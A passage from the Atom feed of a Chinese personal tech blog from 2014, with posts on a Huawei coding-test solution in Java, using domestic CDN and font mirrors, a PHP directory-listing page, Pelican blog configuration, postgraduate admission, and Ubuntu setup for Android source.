        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextInt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextInt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;[][]&lt;/span&gt; &lt;span class="n"&gt;pic&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++){&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++){&lt;/span&gt;
                &lt;span class="n"&gt;pic&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;]=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextInt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
                    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;lflag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

                    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                        &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pic&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
                        &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;=&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;++){&lt;/span&gt;
                            &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pic&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;]==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="n"&gt;pic&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;]==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
                                &lt;span class="n"&gt;lflag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                            &lt;span class="o"&gt;}&lt;/span&gt;
                                &lt;span class="o"&gt;}&lt;/span&gt;
                    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ArrayIndexOutOfBoundsException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                        &lt;span class="c1"&gt;// TODO Auto-generated catch block&lt;/span&gt;
                        &lt;span class="c1"&gt;//e.printStackTrace();&lt;/span&gt;
                        &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                        &lt;span class="n"&gt;lflag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                    &lt;span class="o"&gt;}&lt;/span&gt;               
                    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lflag&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="n"&gt;lflag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                    &lt;span class="n"&gt;pic&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;]=&lt;/span&gt;&lt;span class="n"&gt;lflag&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                    &lt;span class="c1"&gt;//System.out.println(lflag);&lt;/span&gt;

                    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lflag&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;lflag&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                    &lt;span class="o"&gt;}&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;

            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;做了两次华为的机试，觉得软件的拿下前两道基本没问题，第三道一般都是比较有挑战的算法题，需要平时有一些学习才会了解。第一次华为机试的时候是一个递推原型，精简后是斐波那契数列原型。&lt;/p&gt;</content><category term="September"></category></entry><entry><title>使用公共CND进行加速</title><link href="https://blog.chenjia.me/articles/141007-201700.html" rel="alternate"></link><published>2014-10-07T20:17:00+08:00</published><updated>2014-10-07T20:17:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-07:/articles/141007-201700.html</id><summary type="html">&lt;h1&gt;问题&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;现在大多数前端都用了jQuery等类库&lt;/li&gt;
&lt;li&gt;google font被墙不能用&lt;/li&gt;
&lt;li&gt;网站3网访问速度不一样 …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;h1&gt;问题&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;现在大多数前端都用了jQuery等类库&lt;/li&gt;
&lt;li&gt;google font被墙不能用&lt;/li&gt;
&lt;li&gt;网站3网访问速度不一样&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;解决&lt;/h1&gt;
&lt;h2&gt;类库Cdn&lt;/h2&gt;
&lt;p&gt;个人觉得很全的~七牛CND 
&lt;a href="http://www.staticfile.org/"&gt;http://www.staticfile.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;360前端CDN
&lt;a href="http://libs.useso.com/"&gt;http://libs.useso.com/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;字体加速&lt;/h2&gt;
&lt;p&gt;360字体镜像
&lt;a href="http://libs.useso.com/"&gt;http://libs.useso.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先在程序源代码中找到调用Google免费字体库的地址，比如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;link&lt;/span&gt; &lt;span class="nt"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://fonts.googleapis.com/css?family=Open+Sans:300,400,600&amp;amp;amp;subset=latin,latin-ext&amp;#39;&lt;/span&gt; &lt;span class="nt"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;stylesheet&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将Google免费字体库的域名 fonts.googleapis.com 修改为：fonts.useso.com 即可，如下所示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;link&lt;/span&gt; &lt;span class="nt"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://fonts.useso.com/css?family=Open+Sans:300,400,600&amp;amp;amp;subset=latin,latin-ext&amp;#39;&lt;/span&gt; &lt;span class="nt"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;stylesheet&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;简洁来说，就是讲&lt;code&gt;googleapis&lt;/code&gt;替换为&lt;code&gt;useso&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;替换后记得刷新~&lt;/p&gt;</content><category term="October"></category><category term="HTML"></category></entry><entry><title>列出PHP文件夹下的所有文件</title><link href="https://blog.chenjia.me/articles/141007-194800.html" rel="alternate"></link><published>2014-10-07T19:48:00+08:00</published><updated>2014-10-07T19:48:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-07:/articles/141007-194800.html</id><summary type="html">&lt;h1&gt;目的&lt;/h1&gt;
&lt;p&gt;实现和FTP服务器一下一个简单的文件列表，便于我们查看服务器的文件。&lt;/p&gt;
&lt;p&gt;也是开源必备的文件&lt;/p&gt;
&lt;h1&gt;实现 …&lt;/h1&gt;</summary><content type="html">&lt;h1&gt;目的&lt;/h1&gt;
&lt;p&gt;实现和FTP服务器一下一个简单的文件列表，便于我们查看服务器的文件。&lt;/p&gt;
&lt;p&gt;也是开源必备的文件&lt;/p&gt;
&lt;h1&gt;实现&lt;/h1&gt;
&lt;p&gt;一个index.php，可以实现向上级，下级跳转，列出当前目录文件，文件。并可以点击。&lt;/p&gt;
&lt;h1&gt;实例&lt;/h1&gt;
&lt;p&gt;&lt;img alt="结果图片" src="https://i.imgur.com/xDdoCuQ.png"&gt;&lt;/p&gt;
&lt;h1&gt;代码&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;amp;lt;html&amp;amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;&amp;amp;lt;head&amp;amp;gt;&amp;amp;lt;title&amp;amp;gt;Index of &amp;amp;lt;?php echo dirname(__FILE__);  ?&amp;amp;gt;/&amp;amp;lt;/title&amp;amp;gt;&amp;amp;lt;/head&amp;amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;&amp;amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;&amp;amp;lt;h1&amp;amp;gt;Index of &amp;amp;lt;?php echo dirname(__FILE__);  ?&amp;amp;gt;/&amp;amp;lt;/h1&amp;amp;gt;&amp;amp;lt;hr&amp;amp;gt;&amp;amp;lt;pre&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;../&amp;quot;&amp;amp;gt;../&amp;amp;lt;/a&amp;amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;&amp;amp;lt;?php        &lt;/span&gt;
&lt;span class="x"&gt;function getFileList3($directory) {        &lt;/span&gt;
&lt;span class="x"&gt;$files = array();        &lt;/span&gt;
&lt;span class="x"&gt;try {        &lt;/span&gt;
&lt;span class="x"&gt;    $dir = new DirectoryIterator($directory);        &lt;/span&gt;
&lt;span class="x"&gt;} catch (Exception $e) {        &lt;/span&gt;
&lt;span class="x"&gt;    throw new Exception($directory . &amp;#39; is not readable&amp;#39;);        &lt;/span&gt;
&lt;span class="x"&gt;}        &lt;/span&gt;
&lt;span class="x"&gt;foreach($dir as $file) {        &lt;/span&gt;
&lt;span class="x"&gt;    if($file-&amp;amp;gt;isDot()) continue;  &lt;/span&gt;
&lt;span class="x"&gt;    if($file-&amp;amp;gt;isDir()) {&lt;/span&gt;
&lt;span class="x"&gt;        $files[] = $file-&amp;amp;gt;getFileName().&amp;quot;/&amp;quot;; &lt;/span&gt;
&lt;span class="x"&gt;    } &lt;/span&gt;
&lt;span class="x"&gt;    else {&lt;/span&gt;
&lt;span class="x"&gt;       $files[] = $file-&amp;amp;gt;getFileName();     &lt;/span&gt;
&lt;span class="x"&gt;    }      &lt;/span&gt;
&lt;span class="x"&gt;}        &lt;/span&gt;
&lt;span class="x"&gt;return $files;        &lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;

&lt;span class="x"&gt;$dir = dirname(__FILE__);   &lt;/span&gt;
&lt;span class="x"&gt;$fileslist=getFileList3($dir);&lt;/span&gt;

&lt;span class="x"&gt;for($x=0;$x&amp;amp;lt;count($fileslist);$x++) {&lt;/span&gt;
&lt;span class="x"&gt;   echo &amp;quot;&amp;amp;lt;a href=&amp;quot;.$fileslist[$x].&amp;quot;&amp;amp;gt;&amp;quot;.$fileslist[$x].&amp;quot;&amp;amp;lt;/a&amp;amp;gt;&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;   echo &amp;quot;&amp;amp;lt;br&amp;amp;gt;&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;}   &lt;/span&gt;
&lt;span class="x"&gt;?&amp;amp;gt;&lt;/span&gt;

&lt;span class="x"&gt;&amp;amp;lt;/pre&amp;amp;gt;&amp;amp;lt;hr&amp;amp;gt;&amp;amp;lt;/body&amp;amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;&amp;amp;lt;/html&amp;amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;</content><category term="October"></category><category term="PHP"></category></entry><entry><title>Pelican 进阶2</title><link href="https://blog.chenjia.me/articles/141006-185800.html" rel="alternate"></link><published>2014-10-06T18:58:00+08:00</published><updated>2014-10-06T18:58:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-06:/articles/141006-185800.html</id><summary type="html">&lt;h1&gt;今日更新&lt;/h1&gt;
&lt;p&gt;Godaddy 域名续费太贵了，已经抛弃主机和域名，现在所有的网页部署在SAE和GITCAFE上 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;今日更新&lt;/h1&gt;
&lt;p&gt;Godaddy 域名续费太贵了，已经抛弃主机和域名，现在所有的网页部署在SAE和GITCAFE上。&lt;/p&gt;
&lt;p&gt;今日移植了fashion4cj.com 的pelican博客系统，准确的说是又重新生成了一下，改进了许多地方。&lt;/p&gt;
&lt;p&gt;Share it、&lt;/p&gt;
&lt;h1&gt;进阶教程2&lt;/h1&gt;
&lt;h2&gt;生成的文章的文件名改为时间而不是原来一大串的拼音&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;官方文档:&lt;a href="https://pelican-docs-chs.readthedocs.org/en/latest/settings.html#url"&gt;https://pelican-docs-chs.readthedocs.org/en/latest/settings.html#url&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;修改&lt;code&gt;pelicanconf.py&lt;/code&gt;文件&lt;/p&gt;
&lt;p&gt;添加&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;ARTICLE_URL =&amp;#39;articles/{date:%y}{date:%m}{date:%d}-{date:%H}{date:%M}{date:%S}.html&amp;#39;
ARTICLE_SAVE_AS = &amp;#39;articles/{date:%y}{date:%m}{date:%d}-{date:%H}{date:%M}{date:%S}.html&amp;#39;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;其中date属性可以参考python对时间的解析&lt;a href="https://docs.python.org/2/library/datetime.html#strftime-strptime-behavior"&gt;https://docs.python.org/2/library/datetime.html#strftime-strptime-behavior&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：URL和SAVE_AS两个路径要一样，后者不存在导致无法生成*.html 不一致导致链接无法使用&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;修改summary字数&lt;/h2&gt;
&lt;p&gt;pelican默认的summary字数是50，简直就是一大篇文字了。&lt;/p&gt;
&lt;p&gt;修改&lt;code&gt;pelicanconf.py&lt;/code&gt;文件&lt;/p&gt;
&lt;p&gt;添加&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;SUMMARY_MAX_LENGTH = 5
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;大小调整到适合你的就好~&lt;/p&gt;
&lt;h2&gt;添加标签云&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;参考：&lt;a href="https://pelican-docs-chs.readthedocs.org/en/latest/settings.html#id14"&gt;https://pelican-docs-chs.readthedocs.org/en/latest/settings.html#id14&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;修改&lt;code&gt;pelicanconf.py&lt;/code&gt;文件&lt;/p&gt;
&lt;p&gt;添加&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;TAG_CLOUD_STEPS = 4 
TAG_CLOUD_MAX_ITEMS = 20
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;在主题模板中添加&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;ul&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;tag_cloud&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;li&lt;/span&gt; &lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;tag-{{ tag.1 }}&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tag/{{ tag.0|string|replace(&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;, &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; ) }}.html&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;{{&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;li&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;endfor&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ul&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;注意，修改主题后要更新主题，使用命令&lt;code&gt;pelican-themes -U Theme_Name&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;</content><category term="Pelican"></category><category term="October"></category></entry><entry><title>【2014年10月1日】预告</title><link href="https://blog.chenjia.me/articles/141001-213200.html" rel="alternate"></link><published>2014-10-01T21:32:00+08:00</published><updated>2014-10-01T21:32:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-01:/articles/141001-213200.html</id><summary type="html">&lt;p&gt;忙碌的9月过了终于可以安心的做自己的事情了&lt;/p&gt;</summary><content type="html">&lt;h1&gt;九月&lt;/h1&gt;
&lt;p&gt;一个九月，忙于保研。
4号晚上知道可以单列，5号中心取材料，7号过院级审核校级出问题，8号中秋，9号中心校区改材料，11号出单列结果，15号通过保研名额，16阿里面试，17号研究生复试，18号研究生机试，19号确认保研名额，20号名额公示，25号录入系统，26注册，体检 27被调剂 28号报志愿 29号等待名额在研究生招生办 30号获得山东大学计算机科学与技术学院计算机科学与技术学硕录取通知。&lt;/p&gt;
&lt;h1&gt;欠下的东西&lt;/h1&gt;
&lt;p&gt;&lt;img alt="图片" src="https://i.imgur.com/9tRiup6.png"&gt;&lt;/p&gt;</content><category term="October"></category></entry><entry><title>【2014年10月1日】Ubuntu Repo配置以及Android源代码下载</title><link href="https://blog.chenjia.me/articles/141001-130700.html" rel="alternate"></link><published>2014-10-01T13:07:00+08:00</published><updated>2014-10-01T13:07:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-01:/articles/141001-130700.html</id><summary type="html">&lt;h1&gt;安装Ubuntu 14.04 LTS&lt;/h1&gt;
&lt;p&gt;不多说 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;安装Ubuntu 14.04 LTS&lt;/h1&gt;
&lt;p&gt;不多说&lt;/p&gt;
&lt;h1&gt;配置环境&lt;/h1&gt;
&lt;h2&gt;配置Curl和git-core&lt;/h2&gt;
&lt;p&gt;安装两个软件&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$  sudo apt-get install curl
$  sudo apt-get install git-core
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;创建~/bin目录并添加到环境变量&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt; $  mkdir ~/bin
 $  PATH=~/bin:$PATH
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;下载repo脚本并修改权限为可执行&lt;/h2&gt;
